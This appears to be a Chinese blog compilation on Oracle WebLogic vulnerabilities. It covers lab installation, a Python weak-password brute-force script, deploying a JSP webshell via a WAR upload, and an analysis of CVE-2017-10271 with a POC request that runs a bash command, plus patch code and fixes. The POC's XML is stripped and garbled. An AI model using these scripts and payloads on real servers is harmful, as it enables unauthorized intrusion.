weblogic系列漏洞整理

[TOC]

一、 WebLogic安装

0. 概述

WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,webLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。

1. 下载安装Java环境

WebLogic需要安装Java环境,JDK下载地址http://download.oracle.com/otn-pub/java/jdk/8u161-b12/2f38c3b165be4555a1fa6e98c45e0808/jdk-8u161-linux-x64.rpm

wget http://download.oracle.com/otn-pub/java/jdk/8u161-b12/2f38c3b165be4555a1fa6e98c45e0808/jdk-8u161-linux-x64.rpm
mkdir -p /usr/java/
mv jdk-8u161-linux-x64.rpm /usr/java/
rpm -ivh jdk-8u161-linux-x64.rpm
//添加环境变量
vim /etc/profile
//在最后加入
export JAVA_HOME=/usr/java/jdk1.8.0_161
export CLASSPATH=.:$JAVA_HOME/jre/lib/rt.jar:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar
export PATH=$PATH:$JAVA_HOME/bin

//安装成功后
[root@CentOS-6 bin]# echo $JAVA_HOME
/usr/java/jdk1.8.0_161
[root@CentOS-6 bin]# java -version
java version "1.8.0_161"
Java(TM) SE Runtime Environment (build 1.8.0_161-b12)
Java HotSpot(TM) 64-Bit Server VM (build 25.161-b12, mixed mode)
[root@CentOS-6 bin]# 

2. 下载安装WebLogic

wget http://download.oracle.com/otn/nt/middleware/11g/wls/1036/wls1036_generic.jar

//创建用户和组
groupadd weblogic #创建weblogic组
useradd -g weblogic weblogic #创建weblogic用户
password weblogic #创建weblogic密码

java -jar wls1036_generic.jar
按照提示完成WebLogic安装,安装完成后配置domain,然后再在`/root/Oracle/Middleware/user_projects/domains/weblogic/bin`中启动weblogic
`./startWebLogic.sh`

如果出现如下错误

java.lang.AssertionError: Could not obtain the localhost address. The most likely cause is an error in the network configuration of this machine.
    at weblogic.server.channels.AddressUtils$AddressMaker.getLocalHost(AddressUtils.java:38)
    at weblogic.server.channels.AddressUtils$AddressMaker.(AddressUtils.java:33)
    at weblogic.server.channels.AddressUtils.getIPAny(AddressUtils.java:154)
    at weblogic.protocol.configuration.ChannelHelper.checkConsistency(ChannelHelper.java:61)
    at weblogic.server.channels.ChannelService.start(ChannelService.java:207)
    Truncated. see log file for complete stacktrace
Caused By: java.net.UnknownHostException: CentOS-6.5-mini: CentOS-6.5-mini: Name or service not known
    at java.net.InetAddress.getLocalHost(InetAddress.java:1505)
    at weblogic.server.channels.AddressUtils$AddressMaker.getLocalHost(AddressUtils.java:36)
    at weblogic.server.channels.AddressUtils$AddressMaker.(AddressUtils.java:33)
    at weblogic.server.channels.AddressUtils.getIPAny(AddressUtils.java:154)
    at weblogic.protocol.configuration.ChannelHelper.checkConsistency(ChannelHelper.java:61)
    Truncated. see log file for complete stacktrace
Caused By: java.net.UnknownHostException: CentOS-6.5-mini: Name or service not known
    at java.net.Inet6AddressImpl.lookupAllHostAddr(Native Method)
    at java.net.InetAddress$2.lookupAllHostAddr(InetAddress.java:928)
    at java.net.InetAddress.getAddressesFromNameService(InetAddress.java:1323)
    at java.net.InetAddress.getLocalHost(InetAddress.java:1500)
    at weblogic.server.channels.AddressUtils$AddressMaker.getLocalHost(AddressUtils.java:36)
    Truncated. see log file for complete stacktrace
> 

则修改hosts文件

vim /etc/hosts
添加
127.0.0.1    your hostname //your host 可以在终端输入hostname查看

然后浏览器访问http://your-ip:7001/console/ 查看。出现登陆界面则安装成功。
http://192.168.1.128:7001/wls-wsat/CoordinatorPortType

二、 weblogic弱口令

weblogic常用弱口令https://cirt.net/passwords?criteria=weblogic

后台登陆地址: http://192.168.136.130:7001/console/login/LoginForm.jsp

0. 思路

登陆weblogic后台看到后台地址登陆并无限制,因此可以尝试写脚本进行爆破。

在登陆页面随便输入一个用户名密码,利用network查看提交情况

weblogic系列漏洞整理_第1张图片
image

可以看到,点击提交按钮后,浏览器向http://192.168.136.130:7001/console/j_security_check地址POST提交了这个表单

image
j_username: web
j_password: logic
j_character_encoding: UTF-8

当提交错误时,重新返回登陆页面的地址,

正确时,则返回新的地址

weblogic系列漏洞整理_第2张图片
image

根据这个思路即可以编写爆破脚本。

1. python爆破脚本

完整脚本git地址https://github.com/b4zinga/Explib/blob/master/weblogic.py

关键代码:

def weakPasswd(self):
        """weak password"""

        pwddict = ['WebLogic', 'weblogic', 'Oracle@123', 'password', 'system', 'Administrator', 'admin', 'security', 'joe', 'wlcsystem', 'wlpisystem']
        for user in pwddict:
            for pwd in pwddict:
                data = {
                    'j_username':user,
                    'j_password':pwd,
                    'j_character_encoding':'UTF-8'
                }
                req = requests.post(self.url+':7001/console/j_security_check', data=data, allow_redirects=False, verify=False)

                if req.status_code == 302 and 'console' in req.text and 'LoginForm.jsp' not in req.text:
                    print('[+] WebLogic  username: '+user+'  password: '+pwd)
                    return True
        return False

2. 技巧

python的requests模块在post或get提交数据时,如果返回信息中含302,则requests会默认跟随跳转,这里跳转之后不容易 判断,所以给requests添加allow_redirects=False参数,指定requests不跟随跳转。

三、 weblogic 后台提权

0. 思路分析

因为weblogic是一个基于JavaEE的中间件,所以可以解析jsp代码,那么,当我们知道后台密码之后,即可登陆weblogic后台,上传恶意war包,从而进行提权等操作。

1. 利用过程

登陆weblogic后台 http://192.168.136.130:7001/console ,点击左侧的部署,在弹出来的右侧页面点击“安装”

weblogic系列漏洞整理_第3张图片
image

在安装页面选择“上载文件”:

weblogic系列漏洞整理_第4张图片
image

在 “将部署上载到管理服务器” 区域选择"浏览",然后按照提示(其实就是一直下一步就行,最后点保存),将打包好的包含大马的war包上传至服务器。

包含大马的war包制作方法:

jar -cvf test.war ./test/*

将test目录打包为test.war

上传成功后即可访问大马 http://192.168.136.130:7001/test/jsp马.jsp查看上传结果(需要注意的是,安装之后应该启动才能访问到该应用)

weblogic系列漏洞整理_第5张图片
image
weblogic系列漏洞整理_第6张图片
image

2. 提示和技巧

  1. 通过上述步骤上传的木马默认是保存在/root/Oracle/Middleware/user_projects/domains/weblogic/servers/AdminServer/upload
  2. war包制作方法jar -cvf test.war ./test/*

一、weblogic安装 http://www.cnblogs.com/0x4D75/p/8916428.html

二、weblogic弱口令 http://www.cnblogs.com/0x4D75/p/8918761.html

三、weblogic 后台提权 http://www.cnblogs.com/0x4D75/p/8919760.html

四、 weblogic XMLDecoder 反序列化漏洞(CVE-2017-10271)

影响版本:

Oracle WebLogic Server 10.3.6.0.0版本
Oracle WebLogic Server 12.1.3.0.0版本
Oracle WebLogic Server 12.2.1.1.0版本
Oracle WebLogic Server 12.2.1.2.0版本

0. 漏洞分析

通过POC利用后,抓取weblogic的返回响应的xml部分如下,调用栈在标签中:

weblogic系列漏洞整理_第7张图片
image

从调用栈可以明确的看到源码中weblogic调用函数的过程:

weblogic系列漏洞整理_第8张图片
image

processRequest>readHeaderOld>receive>receiveRequest>receiveRequest>readEntry>readUTF

我们发送的poc经过这部分处理,就到了中。

processRequest函数源码为:

public NextAction processRequest(Packet var1) {
   this.isUseOldFormat = false;
   if(var1.getMessage() != null) {
      HeaderList var2 = var1.getMessage().getHeaders();
      Header var3 = var2.get(WorkAreaConstants.WORK_AREA_HEADER, true);
      if(var3 != null) {
         this.readHeaderOld(var3);
         this.isUseOldFormat = true;
      }
      Header var4 = var2.get(this.JAX_WS_WORK_AREA_HEADER, true);
      if(var4 != null) {
         this.readHeader(var4);
      }
   }

WorkAreaConstants.WORK_AREA_HEADER:

public interface WorkAreaConstants{
    String WORK_NS = "http://bea.com/2004/06/soap/workarea/";
    String WORK_PREFIX = "work";
    String XML_TAG_WORK_CONTEXT = "WorkContext";
    String XML_TAG = "work:WorkContext";
    QName WORK_AREA_HEADER = new QName( "http://bea.com/2004/06/soap/workarea/", "WorkContext", "work");
    QName[] WORK_HEADERS = new QName[]{WORK_AREA_HEADER}
}

readHeaderOld源码:

protected void readHeaderOld(Header var1) {
   try {
      XMLStreamReader var2 = var1.readHeader();
      var2.nextTag();
      var2.nextTag();
      XMLStreamReaderToXMLStreamWriter var3 = new XMLStreamReaderToXMLStreamWriter();
      ByteArrayOutputStream var4 = new ByteArrayOutputStream();
      XMLStreamWriter var5 = XMLStreamWriterFactory.create(var4);
      var3.bridge(var2, var5);
      var5.close();
      WorkContextXmlInputAdapter var6 = new WorkContextXmlInputAdapter(new ByteArrayInputStream(var4.toByteArray()));
      this.receive(var6);
   } catch (XMLStreamException var7) {
      throw new WebServiceException(var7);
   } catch (IOException var8) {
      throw new WebServiceException(var8);
   }
}

其中:

ByteArrayOutputStream: 捕获内存缓冲区的数据,转换成字节数组  
ByteArrayInputStream: 将字节数组转化为输入流 

上述过程中,var4会被赋予Poc中java标签内的代码,即:


                        
                            
                                
                                    /bin/bash
                                
                                
                                    -c
                                
                                
                                id > /tmp/b4z
                                
                            
                        
                    

WorkContextXmlInputAdapter代码:

public WorkContextXmlInputAdapter(InputStream var1){
    this.xmlDecoder = new XMLDecoder(var1);
}

可以看到,在WorkContextXmlInputAdapter中,没有任何过滤就直接调用XMLDecoder方法,从而导致反序列化远程代码执行。

1. 利用过程

poc如下:

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.136.130:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: text/xml;charset=UTF-8
Content-Length: 1113

 
            
                
                    
                        
                            
                                
                                    /bin/bash
                                
                                
                                    -c
                                
                                
                                id > /tmp/b4
                                
                            
                        
                    
                
            
        



python版完整利用代码: https://github.com/b4zinga/Explib/blob/master/weblogic.py

2. 修复建议

  1. 安装补丁

四月份补丁(3506),在文件WorkContextXmlInputAdapter.java中,添加了validate()

public WorkContextXmlInputAdapter(InputStream is)  {
    ByteArrayOutputStream baos = new ByteArrayOutputStream();    try
    {      int next = 0;
      next = is.read();      while (next != -1)
      {
        baos.write(next);
        next = is.read();
      }
    }    catch (Exception e)
    {      throw new IllegalStateException("Failed to get data from input stream", e);
    }
    validate(new ByteArrayInputStream(baos.toByteArray()));    this.xmlDecoder = new XMLDecoder(new ByteArrayInputStream(baos.toByteArray()));
  }  
  private void validate(InputStream is)  {
    WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();    try
    {
      SAXParser parser = factory.newSAXParser();
      parser.parse(is, new DefaultHandler()
      {        public void startElement(String uri, String localName, String qName, Attributes attributes)
          throws SAXException        {          if (qName.equalsIgnoreCase("object")) {            throw new IllegalStateException("Invalid context type: object");
          }
        }
      });
    }    catch (ParserConfigurationException e)
    {      throw new IllegalStateException("Parser Exception", e);
    }    catch (SAXException e)
    {      throw new IllegalStateException("Parser Exception", e);
    }    catch (IOException e)
    {      throw new IllegalStateException("Parser Exception", e);
    }
  }

其实就是在解析xml的过程中,如果qName值为Object就抛出异常,明显可以绕过。

10271补丁:

private void validate(InputStream is) {
   WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
   try {
      SAXParser parser = factory.newSAXParser();
      parser.parse(is, new DefaultHandler() {
         private int overallarraylength = 0;
         public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
            if(qName.equalsIgnoreCase("object")) {
               throw new IllegalStateException("Invalid element qName:object");
            } else if(qName.equalsIgnoreCase("new")) {
               throw new IllegalStateException("Invalid element qName:new");
            } else if(qName.equalsIgnoreCase("method")) {
               throw new IllegalStateException("Invalid element qName:method");
            } else {
               if(qName.equalsIgnoreCase("void")) {
                  for(int attClass = 0; attClass < attributes.getLength(); ++attClass) {
                     if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
                        throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass));
                     }
                  }
               }
               if(qName.equalsIgnoreCase("array")) {
                  String var9 = attributes.getValue("class");
                  if(var9 != null && !var9.equalsIgnoreCase("byte")) {
                     throw new IllegalStateException("The value of class attribute is not valid for array element.");
                  }

本次限制了object,new, method, void,array等关键字段,这样就不能生成Java实例,所以不能执行命令。

  1. 删除WLS-WebServices组件

    Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat
    Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war
    Middleware/wlserver_10.3/server/lib/wls-wsat.war
    

你可能感兴趣的:(weblogic系列漏洞整理)